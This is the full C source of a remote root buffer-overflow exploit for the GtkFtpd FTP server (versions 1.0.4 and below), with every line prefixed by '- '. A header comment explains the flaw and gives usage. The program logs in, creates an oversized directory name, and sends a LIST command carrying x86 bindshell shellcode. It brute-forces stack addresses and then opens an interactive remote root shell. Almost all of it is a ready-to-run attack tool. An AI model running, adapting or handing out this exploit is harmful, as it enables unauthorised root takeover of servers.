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- /**********************************************************
- * [ gtkftpd[v1.0.4(and below)]: remote root buffer overflow exploit. ]
- *
- * by: vade79/v9 v9 at fakehalo.deadpig.org (fakehalo/realhalo)
- *
- * Url:
- * http://gtkftpd.sourceforge.net/
- *
- * GtkFtpd, versions v1.0.4 and below(as of this time), contain a
- * remotely exploitable buffer overflow. the overflow occurs when
- * GtkFtpd allocates the appropriate amount of memory to hold a
- * filename or directory(256 bytes), but does not account for the
- * date/user/stat prefix(~40 bytes) it prepends to the buffer.
- *
- * When exploited, things are made easier due to the fact that
- * GtkFtpd does not chroot() or drop its root privileges(as are
- * required to run the program itself) while running. And one step
- * more easier because when the buffer is overflown it is in a child
- * process, making it possible to brute force(not crash).
- *
- * Requirements to exploit:
- * - A valid account. (user/pass, anonymous will do)
- * - A writable directory. (usually gtkftpd makes any dir writable)
- *
- * Usage:
- * # cc xgtkftpd.c -o xgtkftpd
- * # ./xgtkftpd [-Psupcbanrd] -h hostname
- * *
- * Exploit workings(ftp commands):
- * MKDIR <large name/causes overflow>
- * LIST -<shellcode> (where the overflow occurs)
- *
- * The exploitable code itself is found in src/sys_cmd.c:
- * 12:#define BUF_SIZE 256
- * 21:char buf[BUF_SIZE];
- * 57:sprintf(buf, "%s\t%s", perm_date_siz, entr->d_name);
- *
- * Note:
- * Make sure the directory used to "LIST" does not already contain
- * any large filenames or directories, as the first overly long one
- * to list will cause the overflow. (which will fail the exploit)
- * *
- * (should work out of the box on generic linux, tested on rh7.1.
- * squished, un-tab'd, un-space'd, exploit code; just how i like it.)
- **********************************************************/
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdarg.h>
- #include <string.h>
- #include <unistd.h>
- #include <signal.h>
- #include <getopt.h>
- #include <ctype.h>
- #include <time.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <sys/time.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- /* default definitions, change at will. */
- #define DFLUSER "anonymous" /* no argument, default username. */
- #define DFLPASS "null@null.com" /* no argument, default password. */
- #define DFLDIR "/incoming" /* no argument, default +w directory. */
- #define DFLCLM 80 /* default screen width to use. */
- #define DFLADDR 0xbffffffa /* base brute address. */
- #define TIMEOUT 10 /* connection timeout. */
- static char x86_exec[]= /* bindshell(sport), modded from netric. */
- /* port defined in byte 20, and 21; in a 'short' cast form. */
- "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31"
- "\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89"
- "\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80"
- "\x83\xc4\x0c\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
- "\x80\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
- "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
- /* protos/functions. */
- char *getdir(unsigned int);
- char *getbdir(void);
- char *getcode(void);
- void filter_text(char *);
- void ftp_printf(int,char *,...);
- void ftp_clean(int);
- void ftp_read(int);
- void ftp_parse(int);
- void ftp_connect(void);
- void getshell(int,unsigned int);
- void printe(char *,short);
- void usage(char *);
- void sig_ctrlc(){printe("user aborted.",1);}
- void sig_alarm(){printe("alarm/timeout hit.",1);}
- void sig_pipe(){printe("connection closed/failed.",1);}
- /* globals. (ease of use throughout) */
- unsigned short align=2; /* probably will never need to be otherwise. */
- unsigned short port=21; /* generic ftp daemon port. */
- unsigned short sport=7979; /* generic bindshell port. */
- unsigned short reverse=0; /* go upward, instead of downward */
- unsigned short no_io=0; /* do not show traffic. */
- unsigned int attempts=100; /* number of times to brute. */
- unsigned int columns=80; /* generic screen width. */
- unsigned int ftp_i=0; /* Nth time read ftp socket. */
- unsigned int baseaddr=DFLADDR; /* base address. (again) */
- char *host; /* hostname/target, a must have. */
- char *user; /* username to use. */
- char *pass; /* password to use. */
- char *writedir; /* need a writable directory. */
- char *basedir; /* gets filled in later. */
- /* program start. */
- int main(int argc,char **argv){
- int chr=0;
- printf("[*] gtkftpd[v1.0.4(and below)]: remote root buffer overflow"
- " exploit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)\n\n");
- /* set the chomp point, filter long lines. */
- if(getenv("COLUMNS"))columns=atoi(getenv("COLUMNS"));
- if(7>columns||columns>256)columns=DFLCLM;
- while((chr=getopt(argc,argv,"h:P:s:u:p:c:b:a:n:rd"))!=EOF){
- switch(chr){
- case 'h':
- if(!host&&!(host=(char *)strdup(optarg)))
- printe("main(): allocating memory failed.",1);
- break;
- case 'P':
- port=atoi(optarg);
- break;
- case 's':
- sport=atoi(optarg);
- break;
- case 'u':
- if(!user&&!(user=(char *)strdup(optarg)))
- printe("main(): allocating memory failed.",1);
- break;
- case 'p':
- if(!pass&&!(pass=(char *)strdup(optarg)))
- printe("main(): allocating memory failed.",1);
- break;
- case 'c':
- if(!writedir&&!(writedir=(char *)strdup(optarg)))
- printe("main(): allocating memory failed.",1);
- break;
- case 'b':
- sscanf(optarg,"%x",&baseaddr);
- break;
- case 'a':
- align=atoi(optarg);
- break;
- case 'n':
- attempts=atoi(optarg);
- break;
- case 'r':
- reverse=1;
- break;
- case 'd':
- no_io=1;
- break;
- default:
- usage(argv[0]);
- break;
- }
- }
- if(!host)
- usage(argv[0]);
- /* fill in the blanks, or out of bounds. */
- if(!user)user=DFLUSER;
- if(!pass)pass=DFLPASS;
- if(!writedir)writedir=DFLDIR;
- if(!baseaddr)baseaddr=DFLADDR;
- if(align>3)align=2;
- if(!((sport&0xff00)>>8)||!(sport&0x00ff)){
- printf("[!] shell port defined contains null byte(s), using default.\n");
- sport=7979; /* back to default. */
- }
- /* change the bindshell port. */
- x86_exec[20]=(sport&0xff00)>>8;
- x86_exec[21]=(sport&0x00ff);
- /* verbose. */
- printf("[*] target: %s:%d, identity: %s:%s.\n[*] directory: %s, brute"
- " start: 0x%.8x, alignment: %d.\n[*] memory direction: %s, attempts: "
- "%d, bindshell port: %d.\n\n",host,port,user,pass,writedir,baseaddr,
- align,(!reverse?"downward":"upward"),attempts,sport);
- signal(SIGINT,sig_ctrlc); /* explained/pretty exit. */
- signal(SIGPIPE,sig_pipe); /* handle abnormal disconnects. */
- ftp_connect(); /* do the magic, brute force. */
- printe("brute force exhausted, failed.",0);
- exit(0);
- }
- char *getdir(unsigned int offset){
- unsigned int i=0;
- char *buf;
- /* 256 will fail; 255 or less. */
- if(!(buf=(char *)malloc(255+1)))
- printe("getdir(): allocating memory failed.",1);
- memset(buf,0x0,255+1);
- if(align)memset(buf,'x',align);
- for(i=align;i<252;i+=4){
- if(!reverse)*(long *)&buf[i]=(baseaddr-offset);
- else *(long *)&buf[i]=(baseaddr+offset);
- }
- return(buf);
- }
- char *getbdir(void){
- char *buf;
- time_t ttt;
- struct tm *ttm;
- if(!(buf=(char *)malloc(32+1)))
- printe("getbdir(): allocating memory failed",1);
- ttt=time(NULL);
- ttm=localtime(&ttt);
- strftime(buf,32,"tmp_%H:%M:%S_%d-%m-%Y",ttm);
- return(buf);
- }
- char *getcode(void){
- char *buf;
- if(!(buf=(char *)malloc(512+1)))
- printe("getcode(): allocating memory failed",1);
- memset(buf,0x90,(512-strlen(x86_exec)));
- memcpy(buf+(512-strlen(x86_exec)),x86_exec,strlen(x86_exec));
- return(buf);
- }
- void filter_text(char *ptr){
- unsigned int i=0;
- for(i=0;i<strlen(ptr);i++){
- /* keep it short and sweet. */
- if(i>=(columns-3)){
- ptr[i--]=0x0;
- ptr[i--]='.';
- ptr[i--]='.';
- ptr[i]='.';
- }
- /* don't make \r or \n a '?'. */
- else if(ptr[i]=='\r'||ptr[i]=='\n')ptr[i]=0x0;
- /* don't ugly the local terminal. */
- else if(!isprint(ptr[i]))ptr[i]='?';
- }
- return;
- }
- void ftp_printf(int sock,char *fmt,...){
- char *buf;
- va_list ap;
- if(!(buf=(char *)malloc(1024+1)))
- printe("ftp_printf(): allocating memory failed.",1);
- memset(buf,0x0,1024+1);
- va_start(ap,fmt);
- vsnprintf(buf,1024,fmt,ap);
- va_end(ap);
- write(sock,buf,strlen(buf)); /* write it, then mod it for display. */
- filter_text(buf);
- if(!no_io)
- printf("-> %s\n",buf);
- free(buf);
- return;
- }
- void ftp_clean(int sock){
- ftp_printf(sock,"CWD ..\r\n");
- ftp_read(sock);
- ftp_printf(sock,"RMD %s\r\n",basedir);
- ftp_read(sock);
- ftp_printf(sock,"QUIT\r\n");
- ftp_read(sock);
- return;
- }
- void ftp_read(int sock){
- char *buf;
- if(!(buf=(char *)malloc(1024+1)))
- printe("ftp_read(): allocating memory failed.",1);
- memset(buf,0x0,1024);
- read(sock,buf,1024);
- filter_text(buf);
- if(!no_io)
- printf("<- %s\n",buf);
- /* some initial reply checking, not too much. */
- if(!ftp_i)
- if(!strstr(buf,"GtkFTPd"))
- printe("this exploit is only for GtkFTPd, failed.",1);
- if(ftp_i==2)
- if(strncmp(buf,"230",3))
- printe("invalid username/password, failed.",1);
- if(ftp_i==3)
- if(strncmp(buf,"250",3))
- printe("invalid writable directory, failed. (try \"/\")",1);
- free(buf);
- ftp_i++; /* increase the response identifier. */
- return;
- }
- void ftp_parse(int sock){
- unsigned int offset=0;
- ftp_read(sock); /* get the banner. */
- ftp_printf(sock,"USER %s\r\n",user);
- ftp_read(sock);
- ftp_printf(sock,"PASS %s\r\n",pass);
- ftp_read(sock);
- ftp_printf(sock,"CWD %s\r\n",writedir);
- ftp_read(sock);
- basedir=getbdir(); /* tmp dir of our own to use. */
- ftp_printf(sock,"MKD %s\r\n",basedir);
- ftp_read(sock);
- ftp_printf(sock,"CWD %s\r\n",basedir);
- ftp_read(sock);
- while(offset<(attempts*400)){ /* if it hasn't yet, it's not going to. */
- /* slight null-byte/CR check, only needs to check the last byte. */
- if((!reverse&&!((baseaddr-offset)&0xff))||(reverse&&!((baseaddr+offset)
- &0xff))||(!reverse&&((baseaddr-offset)&0xff)=='\n')||(reverse&&
- ((baseaddr+offset)&0xff)=='\n')){
- printf("[!] brute address contains null-byte/CR, increasing offset "
- "by one byte.\n");
- offset++; /* one byte off if reversed won't hurt here. (401) */
- }
- /* make the evil oversized directory. (255 or less bytes) */
- ftp_printf(sock,"MKD %s\r\n",getdir(offset));
- ftp_read(sock);
- /* date+directory exceeds 256 byte buffer, the exploit. */
- sleep(1); /* delay insurance. */
- ftp_printf(sock,"LIST -%s\r\n",getcode());
- /* nothing to read here, and gtkftpd processes (the exploit) */
- /* before the ftp list connection is made, making it */
- /* pointless to view the list. */
- sleep(1); /* delay insurance, again, just to be sure. */
- /* delete directory, multiples will cause failure(s). */
- ftp_printf(sock,"RMD %s\r\n",getdir(offset));
- ftp_read(sock);
- getshell(sock,offset);
- offset+=400; /* always at least 400 nops in a row, in shellcode. */
- }
- ftp_clean(sock);
- close(sock);
- return;
- }
- void ftp_connect(void){
- int sock;
- struct hostent *t;
- struct sockaddr_in s;
- sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- s.sin_family=AF_INET;
- s.sin_port=htons(port);
- if((s.sin_addr.s_addr=inet_addr(host))){
- if(!(t=gethostbyname(host)))
- printe("couldn't resolve hostname.",1);
- memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
- }
- printf("[*] attempting to connect: %s:%d.\n",host,port);
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
- printe("gtkftpd connection failed.",1);
- alarm(0);
- printf("[*] connected successfully: %s:%d.\n",host,port);
- ftp_parse(sock);
- return;
- }
- void getshell(int ftpsock,unsigned int offset){
- int sock,r;
- fd_set fds;
- char buf[4096+1];
- struct hostent *he;
- struct sockaddr_in sa;
- if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
- printe("getshell(): socket() failed.",1);
- sa.sin_family=AF_INET;
- if((sa.sin_addr.s_addr=inet_addr(host))){
- if(!(he=gethostbyname(host)))
- printe("getshell(): couldn't resolve.",1);
- memcpy((char *)&sa.sin_addr,(char *)he->h_addr,sizeof(sa.sin_addr));
- }
- sa.sin_port=htons(sport);
- signal(SIGALRM,sig_alarm);
- alarm(TIMEOUT);
- printf("[*] checking for bindshell: %s:%d. (0x%.8x)\n",host,sport,
- (!reverse?(baseaddr-offset):(baseaddr+offset)));
- if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
- printf("[!] connection failed: %s:%d.\n",host,sport);
- close(sock); /* don't want fd's to fill up. */
- alarm(0);
- return;
- }
- alarm(0);
- printf("[*] successfully connected: %s:%d.\n",host,sport);
- printf("[*] attempting to cleanup leftover directory(s).\n");
- ftp_clean(ftpsock);
- close(ftpsock);
- printf("[*] entering remote shell. (%s:%d)\n\n",host,sport);
- signal(SIGINT,SIG_IGN);
- write(sock,"cd /;uname -a;id\n",18);
- while(1){
- FD_ZERO(&fds);
- FD_SET(0,&fds);
- FD_SET(sock,&fds);
- if(select(sock+1,&fds,0,0,0)<1)
- printe("getshell(): select() failed.",1);
- if(FD_ISSET(0,&fds)){
- if((r=read(0,buf,4096))<1)
- printe("getshell(): read() failed.",1);
- if(write(sock,buf,r)!=r)
- printe("getshell(): write() failed.",1);
- }
- if(FD_ISSET(sock,&fds)){
- if((r=read(sock,buf,4096))<1)exit(0);
- write(1,buf,r);
- }
- }
- close(sock);
- return;
- }
- void printe(char *err,short e){
- printf("[!] error: %s\n",err);
- if(e)exit(1);
- return;
- }
- void usage(char *name){
- printf(" usage: %s [options] -h hostname\n\n options:\n"
- " -h <string>\tdefines the target host/ip.\t(REQUIRED)\n"
- " -P <number>\tdefines the target port.\t(%d)\n"
- " -s <number>\tdefines the bindshell port.\t(%d)\n"
- " -u <string>\tdefines the username.\t\t(\"%s\")\n"
- " -p <string>\tdefines the password.\t\t(\"%s\")\n"
- " -c <string>\tdefines the writable directory.\t(\"%s\")\n"
- " -b <string>\tdefines the base brute address.\t(0x%.8x)\n"
- " -a <number>\tdefines the alignment.\t\t(%d)\n"
- " -n <number>\tdefines the number of attempts.\t(%d)\n"
- " -r\t\tgo upward in memory, instead of downward.\n"
- " -d\t\tdo not show verbose ftp in/out traffic.\n\n",
- name,port,sport,DFLUSER,DFLPASS,DFLDIR,DFLADDR,align,attempts);
- exit(0);
- }